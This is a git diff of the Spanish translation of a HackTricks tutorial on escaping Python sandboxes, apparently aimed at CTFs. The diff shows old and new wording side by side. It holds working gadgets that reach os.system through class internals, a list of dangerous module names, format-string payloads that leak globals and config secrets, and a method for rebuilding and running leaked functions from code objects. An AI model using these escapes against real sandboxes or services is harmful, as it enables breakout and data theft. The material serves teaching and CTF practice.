@ -507,7 +506,7 @@ Podemos hacer lo mismo con **otras bibliotecas** que sabemos que se pueden usar
#pdb #pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
``` ```
Además, incluso podríamos buscar qué módulos están cargando bibliotecas maliciosas: Además, podríamos incluso buscar qué módulos están cargando bibliotecas maliciosas:
```python ```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names: for b in bad_libraries_names:
@ -557,11 +556,12 @@ load_source: NullImporter, _HackedGetData
execfile: execfile:
execute: execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
``` ```
## Búsqueda recursiva de Builtins, Globals... ## Búsqueda Recursiva de Builtins, Globals...
{% hint style="warning" %} {% hint style="warning" %}
Esto es simplemente **increíble**. Si estás **buscando un objeto como globals, builtins, open o cualquier otra cosa**, simplemente usa este script para **encontrar de forma recursiva lugares donde puedas encontrar ese objeto**. Esto es simplemente **increíble**. Si estás **buscando un objeto como globals, builtins, open o cualquier cosa** solo usa este script para **encontrar recursivamente lugares donde puedes encontrar ese objeto.**
{% endhint %} {% endhint %}
```python ```python
import os, sys # Import these to find more gadgets import os, sys # Import these to find more gadgets
@ -684,12 +684,12 @@ Puedes verificar la salida de este script en esta página:
[https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md) [https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
{% endcontent-ref %} {% endcontent-ref %}
## Python Format String ## Formato de Cadena en Python
Si **envías** una **cadena** a python que va a ser **formateada**, puedes usar `{}` para acceder a **información interna de python**. Puedes usar los ejemplos anteriores para acceder a globales o builtins, por ejemplo. Si **envías** una **cadena** a python que va a ser **formateada**, puedes usar `{}` para acceder a **información interna de python.** Puedes usar los ejemplos anteriores para acceder a globals o builtins, por ejemplo.
{% hint style="info" %} {% hint style="info" %}
Sin embargo, hay una **limitación**, solo puedes usar los símbolos `.[]`, por lo que **no podrás ejecutar código arbitrario**, solo leer información.\ Sin embargo, hay una **limitación**, solo puedes usar los símbolos `.[]`, así que **no podrás ejecutar código arbitrario**, solo leer información.\
_**Si sabes cómo ejecutar código a través de esta vulnerabilidad, por favor contáctame.**_ _**Si sabes cómo ejecutar código a través de esta vulnerabilidad, por favor contáctame.**_
{% endhint %} {% endhint %}
```python ```python
@ -711,11 +711,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people) get_name_for_avatar(st, people_obj = people)
``` ```
Ten en cuenta cómo puedes **acceder a atributos** de forma normal con un **punto** como `people_obj.__init__` y elementos de **diccionario** con **paréntesis** sin comillas `__globals__[CONFIG]` Nota cómo puedes **acceder a atributos** de manera normal con un **punto** como `people_obj.__init__` y **elemento de dict** con **paréntesis** sin comillas `__globals__[CONFIG]`
También puedes usar `.__dict__` para enumerar elementos de un objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` También nota que puedes usar `.__dict__` para enumerar elementos de un objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Algunas otras características interesantes de las cadenas de formato es la posibilidad de **ejecutar** las funciones **`str`**, **`repr`** y **`ascii`** en el objeto indicado agregando **`!s`**, **`!r`**, **`!a`** respectivamente: Algunas otras características interesantes de las cadenas de formato son la posibilidad de **ejecutar** las **funciones** **`str`**, **`repr`** y **`ascii`** en el objeto indicado añadiendo **`!s`**, **`!r`**, **`!a`** respectivamente:
```python ```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people) get_name_for_avatar(st, people_obj = people)
@ -731,17 +731,17 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000()) '{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that. #I'm afraid I can't do that.
``` ```
**Más ejemplos** sobre ejemplos de **formato de cadena** se pueden encontrar en [**https://pyformat.info/**](https://pyformat.info) **Más ejemplos** sobre **format** **string** ejemplos se pueden encontrar en [**https://pyformat.info/**](https://pyformat.info)
{% hint style="danger" %} {% hint style="danger" %}
Consulte también la siguiente página para conocer los gadgets que **leerán información sensible de los objetos internos de Python**: Consulta también la siguiente página para gadgets que **leerán información sensible de los objetos internos de Python**:
{% endhint %} {% endhint %}
{% content-ref url="../python-internal-read-gadgets.md" %} {% content-ref url="../python-internal-read-gadgets.md" %}
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md) [python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
{% endcontent-ref %} {% endcontent-ref %}
### Cargas útiles de divulgación de información sensible ### Cargas útiles para la divulgación de información sensible
```python ```python
{whoami.__class__.__dict__} {whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__} {whoami.__globals__[os].__dict__}
@ -752,13 +752,13 @@ Consulte también la siguiente página para conocer los gadgets que **leerán in
# Access an element through several links # Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__} {whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
``` ```
## Analizando Objetos de Python ## Dissecting Python Objects
{% hint style="info" %} {% hint style="info" %}
Si deseas **aprender** sobre el **bytecode de Python** en profundidad, lee este **increíble** artículo sobre el tema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) Si quieres **aprender** sobre **bytecode de python** en profundidad, lee este **increíble** post sobre el tema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %} {% endhint %}
En algunos CTFs, se te puede proporcionar el nombre de una **función personalizada donde se encuentra la bandera** y necesitas ver los **internos** de la **función** para extraerla. En algunos CTFs, se te podría proporcionar el nombre de una **función personalizada donde reside la bandera** y necesitas ver los **internos** de la **función** para extraerla.
Esta es la función a inspeccionar: Esta es la función a inspeccionar:
```python ```python
@ -780,7 +780,7 @@ dir(get_flag) #Get info tof the function
``` ```
#### globals #### globals
`__globals__` y `func_globals` (Igual) Obtiene el entorno global. En el ejemplo se pueden ver algunos módulos importados, algunas variables globales y su contenido declarado: `__globals__` y `func_globals` (Mismo) Obtiene el entorno global. En el ejemplo puedes ver algunos módulos importados, algunas variables globales y su contenido declarado:
```python ```python
get_flag.func_globals get_flag.func_globals
get_flag.__globals__ get_flag.__globals__
@ -789,7 +789,7 @@ get_flag.__globals__
#If you have access to some variable value #If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__ CustomClassObject.__class__.__init__.__globals__
``` ```
[**Ver aquí más lugares para obtener los globales**](./#globals-and-locals) [**Ver aquí más lugares para obtener globals**](./#globals-and-locals)
### **Accediendo al código de la función** ### **Accediendo al código de la función**
@ -807,7 +807,7 @@ compile("print(5)", "", "single")
dir(get_flag.__code__) dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
``` ```
### Obteniendo Información del Código ### Obtener Información del Código
```python ```python
# Another example # Another example
s = ''' s = '''
@ -881,7 +881,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None) 44 LOAD_CONST 0 (None)
47 RETURN_VALUE 47 RETURN_VALUE
``` ```
Ten en cuenta que si no puedes importar `dis` en el sandbox de Python, puedes obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **desensamblarlo** localmente. No verás el contenido de las variables que se cargan (`LOAD_CONST`), pero puedes adivinarlas a partir de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el desplazamiento de la variable que se está cargando. Nota que **si no puedes importar `dis` en la sandbox de python** puedes obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **desensamblarlo** localmente. No verás el contenido de las variables que se están cargando (`LOAD_CONST`), pero puedes inferirlas de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el desplazamiento de la variable que se está cargando.
```python ```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1) 0 LOAD_CONST 1 (1)
@ -906,7 +906,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
## Compilando Python ## Compilando Python
Ahora, imaginemos que de alguna manera puedes **volcar la información sobre una función que no puedes ejecutar** pero que **necesitas** **ejecutar**.\ Ahora, imaginemos que de alguna manera puedes **volcar la información sobre una función que no puedes ejecutar** pero que **necesitas** **ejecutar**.\
Como en el siguiente ejemplo, **puedes acceder al objeto de código** de esa función, pero solo leyendo el desensamblado **no sabes cómo calcular la bandera** (_imagina una función `calc_flag` más compleja_). Como en el siguiente ejemplo, **puedes acceder al objeto de código** de esa función, pero solo leyendo el desensamblado **no sabes cómo calcular la bandera** (_imagina una función `calc_flag` más compleja_)
```python ```python
def get_flag(some_input): def get_flag(some_input):
var1=1 var1=1
@ -921,7 +921,7 @@ return "Nope"
``` ```
### Creando el objeto de código ### Creando el objeto de código
En primer lugar, necesitamos saber **cómo crear y ejecutar un objeto de código** para poder crear uno y ejecutar nuestra función filtrada: Primero que nada, necesitamos saber **cómo crear y ejecutar un objeto de código** para que podamos crear uno para ejecutar nuestra función leak:
```python ```python
code_type = type((lambda: None).__code__) code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this # Check the following hint if you get an error in calling this
@ -952,7 +952,7 @@ types.CodeType.__doc__
### Recreando una función filtrada ### Recreando una función filtrada
{% hint style="warning" %} {% hint style="warning" %}
En el siguiente ejemplo, vamos a tomar todos los datos necesarios para recrear la función a partir del objeto de código de la función directamente. En un **ejemplo real**, todos los **valores** para ejecutar la función **`code_type`** es lo que **necesitarás filtrar**. En el siguiente ejemplo, vamos a tomar todos los datos necesarios para recrear la función directamente del objeto de código de la función. En un **ejemplo real**, todos los **valores** para ejecutar la función **`code_type`** es lo que **necesitarás filtrar**.
{% endhint %} {% endhint %}
```python ```python
fc = get_flag.__code__ fc = get_flag.__code__
@ -964,10 +964,10 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode") function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag #ThisIsTheFlag
``` ```
### Saltar Defensas ### Bypass Defenses
En los ejemplos anteriores al principio de esta publicación, puedes ver **cómo ejecutar cualquier código Python usando la función `compile`**. Esto es interesante porque puedes **ejecutar scripts completos** con bucles y todo en una **sola línea** (y podríamos hacer lo mismo usando **`exec`**).\ En ejemplos anteriores al principio de esta publicación, puedes ver **cómo ejecutar cualquier código python usando la función `compile`**. Esto es interesante porque puedes **ejecutar scripts completos** con bucles y todo en una **línea** (y podríamos hacer lo mismo usando **`exec`**).\
De todos modos, a veces podría ser útil **crear** un **objeto compilado** en una máquina local y ejecutarlo en la **máquina CTF** (por ejemplo, porque no tenemos la función `compile` en la CTF). De todos modos, a veces podría ser útil **crear** un **objeto compilado** en una máquina local y ejecutarlo en la **máquina CTF** (por ejemplo, porque no tenemos la función `compiled` en el CTF).
Por ejemplo, compilamos y ejecutamos manualmente una función que lee _./poc.py_: Por ejemplo, compilamos y ejecutamos manualmente una función que lee _./poc.py_:
```python ```python
@ -996,7 +996,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()) codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)() function_type(codeobj, mydict, None, None, None)()
``` ```
Si no puedes acceder a `eval` o `exec`, podrías crear una **función adecuada**, pero llamarla directamente generalmente fallará con: _constructor not accessible in restricted mode_. Por lo tanto, necesitas una **función que no esté en el entorno restringido para llamar a esta función.** Si no puedes acceder a `eval` o `exec`, podrías crear una **función adecuada**, pero llamarla directamente generalmente fallará con: _constructor no accesible en modo restringido_. Así que necesitas una **función que no esté en el entorno restringido para llamar a esta función.**
```python ```python
#Compile a regular print #Compile a regular print
ftype = type(lambda: None) ftype = type(lambda: None)
@ -1004,22 +1004,22 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42) f(42)
``` ```
## Decompilando Python Compilado ## Decompilación de Python Compilado
Usando herramientas como [**https://www.decompiler.com/**](https://www.decompiler.com) uno puede **decompilar** el código Python compilado dado. Usando herramientas como [**https://www.decompiler.com/**](https://www.decompiler.com) se puede **decompilar** el código python compilado dado.
**Echa un vistazo a este tutorial**: **Consulta este tutorial**:
{% content-ref url="../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %} {% content-ref url="../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
[.pyc.md](../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md) [.pyc.md](../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
{% endcontent-ref %} {% endcontent-ref %}
## Python Variado ## Misc Python
### Assert ### Assert
Python ejecutado con optimizaciones con el parámetro `-O` eliminará las declaraciones de aserción y cualquier código condicional en función del valor de **debug**.\ Python ejecutado con optimizaciones con el parámetro `-O` eliminará las declaraciones de aserción y cualquier código condicional al valor de **debug**.\
Por lo tanto, comprobaciones como Por lo tanto, verificaciones como
```python ```python
def check_permission(super_user): def check_permission(super_user):
try: try:
@ -1028,7 +1028,7 @@ print("\nYou are a super user\n")
except AssertionError: except AssertionError:
print(f"\nNot a Super User!!!\n") print(f"\nNot a Super User!!!\n")
``` ```
serán evadidos will be bypassed
## Referencias ## Referencias
@ -1045,16 +1045,17 @@ serán evadidos
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# venv # venv
{% hint style="success" %}
Aprende y practica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
